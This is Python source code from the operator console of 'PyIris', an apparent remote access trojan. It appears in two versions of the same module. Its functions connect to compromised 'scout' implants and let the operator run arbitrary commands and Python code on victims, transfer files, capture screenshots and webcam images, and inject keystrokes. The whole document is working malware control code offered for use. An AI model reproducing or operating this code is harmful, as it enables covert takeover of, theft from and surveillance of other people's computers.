def main(data, scout_id): file_path = data.split(' ', 1)[1] if os.path.isfile(file_path): with open(file_path, 'r') as f: data = f.read() print config.pos + 'Read in data from script file : ' + file_path print config.inf + 'Sending file data to scout' print config.inf + 'Attempting to run on scout...' print send_and_recv.main('exec_py ' + data, scout_id) else: print config.neg + 'Invalid file path supplied'
def main(scout_id): try: scout_id = scout_id.split(' ', 1)[1] scout_prompt = config.scout_database[scout_id][ 1] + ':' + config.scout_database[scout_id][2] print '[+]Bridged to : ' + scout_id except (IndexError, KeyError): print '[-]Please enter a valid scout ID' return while True: try: prompt = raw_input('PyIris (Scout@' + scout_prompt + ') > ').strip() command = prompt.split(' ', 1)[0] if command == 'back': print '[*]Returning to scout interface...' return elif command == 'clear': clear.main() elif command == 'disconnect': print send_and_recv.main(prompt, scout_id) del (config.scout_database[scout_id]) print '[*]Returning...' return elif command in ('?', 'help'): help.main('direct', prompt) elif command == 'kill': print send_and_recv.main(prompt, scout_id) del (config.scout_database[scout_id]) print '[*]Returning...' return elif command in ('!', 'local'): local.main(prompt) elif command == 'main': print '[*]Returning to scout interface...' return 'home' elif command == 'python': python.main() elif command == 'quit': quit.main() elif command == 'sleep': data = send_and_recv.main(prompt, scout_id) print data if data.startswith('[*]'): del (config.scout_database[scout_id]) print '[*]Returning...' return elif command == 'download': config.scout_database[scout_id][0].sendall(prompt) download.main(config.scout_database[scout_id][0]) elif command == 'upload': upload.main(config.scout_database[scout_id][0], prompt) elif command == 'screen': config.scout_database[scout_id][0].sendall(command) screen.main(config.scout_database[scout_id][0]) elif command == 'webcam_snap': config.scout_database[scout_id][0].sendall(command) webcam_snap.main(config.scout_database[scout_id][0]) elif command == 'ping': ping.main(prompt) elif not command: pass else: config.scout_database[scout_id][0].sendall(prompt) data = recv_all.main(config.scout_database[scout_id][0]) print data # print '[-]Invalid command, run "help" for help menu' except EOFError: try: time.sleep(2) except KeyboardInterrupt: quit.main() except KeyboardInterrupt: quit.main() except (socket.error, socket.timeout): print '[-]Scout has unexpectedly died, removing from database...' del (config.scout_database[scout_id]) return
def main(scout_id): readline.parse_and_bind('tab: self-insert') try: scout_id = scout_id.split(' ', 1)[1] scout_prompt = config.scout_database[scout_id][ 1] + ':' + config.scout_database[scout_id][2] print(config.pos + 'Bridged to : ' + scout_id) except (IndexError, KeyError): print(config.neg + 'Please enter a valid scout ID') return while True: try: prompt = input('\x1b[1m\x1b[37mPyIris (\x1b[0m\x1b[1m\x1b[31m' + 'Scout\x1b[0m' + '\x1b[1m\x1b[37m@\x1b[0m\x1b[1m\x1b[31m' + scout_prompt + '\x1b[0m\x1b[1m\x1b[37m) > \x1b[0m').strip() command = prompt.split(' ', 1)[0].lower() if command == 'back': print(config.inf + 'Returning to scout interface...') return elif command == 'clear': clear.main() elif command == 'disconnect': print(send_and_recv.main(prompt, scout_id)) del (config.scout_database[scout_id]) print(config.inf + 'Returning...') return elif command == 'kill': print(send_and_recv.main(prompt, scout_id)) del (config.scout_database[scout_id]) print(config.inf + 'Returning...') return elif command in ('!', 'local'): local.main(prompt) elif command == 'main': print(config.inf + 'Returning to scout interface...') return 'home' elif command == 'python': python.main() elif command == 'quit': quit.main() elif command == 'sleep': data = send_and_recv.main(prompt, scout_id) print(data) if data.startswith('[*]'): del (config.scout_database[scout_id]) print(config.inf + 'Returning...') return elif command == 'download': send_all.main(config.scout_database[scout_id][0], prompt) download.main(config.scout_database[scout_id][0]) elif command == 'upload': upload.main(config.scout_database[scout_id][0], prompt) elif command == 'screen': send_all.main(config.scout_database[scout_id][0], command) screen.main(config.scout_database[scout_id][0]) elif command == 'webcam': send_all.main(config.scout_database[scout_id][0], command) webcam.main(config.scout_database[scout_id][0]) elif command == 'ping': alive_bool = ping.main(scout_id) if not alive_bool: print(config.inf + 'Returning...') return elif command == 'exec_py_script': data = 'exec_py ' + python_execute_editor.main() print(config.inf + 'Attempting to run on scout...') print(send_and_recv.main(data, scout_id)) elif command == 'exec_py_file': python_execute_file.main(prompt, scout_id) elif command == 'inj_valid': print('\n' + config.inf + 'All valid keys that can be injected : \n') formatted = grid_format.main(valid_keys, 5) for i in formatted: print(' ' + ''.join(i)) print('\n') elif not command: pass else: send_all.main(config.scout_database[scout_id][0], prompt) data = recv_all.main(config.scout_database[scout_id][0]) print(data) except EOFError: try: time.sleep(2) except KeyboardInterrupt: quit.main() except KeyboardInterrupt: quit.main() except (socket.error, socket.timeout): print(config.neg + 'Scout has unexpectedly died, removing from database...') del (config.scout_database[scout_id]) return except IndexError: print( config.neg + 'Please supply valid arguments for the command you are running' )